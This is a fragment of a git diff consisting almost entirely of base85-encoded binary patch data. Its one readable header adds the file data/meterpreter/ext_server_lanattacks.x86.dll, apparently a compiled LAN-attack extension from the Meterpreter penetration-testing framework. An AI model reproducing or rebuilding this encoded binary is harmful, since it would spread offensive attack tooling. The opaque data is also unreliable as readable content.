z{wZ?;e-@rQ&fiOT;jKT9@3k9V`-|9@;2&oGBwX{$IOl8OA#|Y@-~$74%5@rWOWq9U~Ja_T%%+oUu!&7mL!dsr< zcluP|mCtfN{6=^TMfekN-IzTQFT5Kie!{*05B!PwgxBG7NXDN%J*Rx&4D+1!4e(AR z?ThgJ%kjL;LK{iD@RNV0R_VVBK7n@OBlz*ZFiyM*UqVax^YG?LTrU;)2$Gx#!{_Ie z~D|!45co4~YsKZ|)8QUZ9BX3~MpceAb zMGN%t;2oTGR>xOib2ZnKcDUosaev_zZ=n`x&%o=Ej8oph`V!jz1D@ksxjw4lwkXcQp8ec%huf zC|)S%4vH7b*@5DPaxS2F;hve7vjOESK4}-qS$X1xPtW`*cpk|d&b^0y5s8=c&Lgym z`Mi4Fyz&Vo?U#Q3hcl3+?qqmY!b(~xD{W=0td+A=t7vIf$tqhlt8NXfp%qypYiv!d zskLG$cEV2DDZ5~+wq}>?vR$#OcFnHa4O_Q8JGA@uz#iI>J+iY-&dECkM|Fyh=9HYW zQ*o+J&8a&LM|V6Ybo$P~89I?Oa>mZYnK~qGvOt@l$Z80Ue?Qbascu^!pK{NSB+H0nYJ@_*3Q{^yLi!fFCOjGUa=J?;Ut}u zlXf!BzeoO`F<0DaSLr2s$zH0L?qzz}Uapt#6?$r~*wcEYUb$D{`)5UEj{}-s(#v{9 z&jp2`7?graPzxG?7xaT+FbXEYN|5NLx|wdSTj&na-i3!g0$cb%9+;*H#~ zJ9U+2vYBpXoB5{N)SBgHwOJ<%VRO)on&alQsgRE}xyXB}r+HeW5n3%!9Cd1G(t zDSpyV`&mEltG?!!{it#m8f%D2>()+)EEt$Isug{?s=YK>dd z7TZKS-Ojf2ZMChn%k65r-qzb;d(e*B~Tnqa)PnH`Uz&;oSSzGuId(D%`LfQ zxAK}#HF8HpIw95-qD>HQiik7BoFnQ2aTkfaMC=u!uMxk@1CJc^$-Vby3Dy5Siiu?~!(5g8+5o)}YO#Zb(InKV;o+RT_)Ge;f@rfL>V%`BN^vtm}w z8kuRBy6Ksr**6E~(2UHHIp%*b7p;obu=->yHLJ)1Ye;ccmDSf+Lli$GJA=-!6Lm&p zY0{Z?Rys0y%= diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll index deb0b86cd5cf855a9d1500958994d13dbd3ae6bb..e89ad750ee6e882f3d6ff10285aec85790550f7a 100755 GIT binary patch literal 186368 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 